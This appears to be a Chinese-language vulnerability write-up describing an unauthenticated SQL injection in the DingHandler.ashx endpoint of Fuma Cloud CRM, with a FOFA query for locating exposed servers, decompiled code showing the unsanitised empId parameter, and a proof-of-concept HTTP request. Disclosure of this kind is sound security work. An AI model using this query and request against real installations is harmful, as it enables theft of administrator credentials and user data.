孚盟云CRM DingHandler.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云DingHandler.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 DingHandler.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 DingHandler 方法的实现如下

当method=getEmpAllMouldByEmpId时,进入getEmpAllMouldByEmpId方法

private void getEmpAllMouldByEmpId(HttpContext context)
{
  string str1 = "";
  if (!this.IsInsidelicense())
  {
    string str2 = context.Request["empId"] == null ? "" : context.Request["empId"].ToString();
    if (string.IsNullOrEmpty(str2) && !string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
      str2 = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(UserCookie.GetCookieValue("empId"));
    if (!string.IsNullOrEmpty(str2))
    {
      StringBuilder stringBuilder = new StringBuilder();
      string SQLString = $" select MouldID from syLicMouldDtl where MouldKey  in (select MouldKey from syLicMouldEmp where EmpID = '{str2}')";

empId参数是被直接拼接进SQL语句,从而导致SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/DingHandler.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=getEmpAllMouldByEmpId&empId='SQLI_POC--


手机扫码阅读

孚盟云CRM PriceList.ashx SQL注入漏洞

孚盟云CRM AjaxTrackInfo.ashx SQL注入漏洞

评 论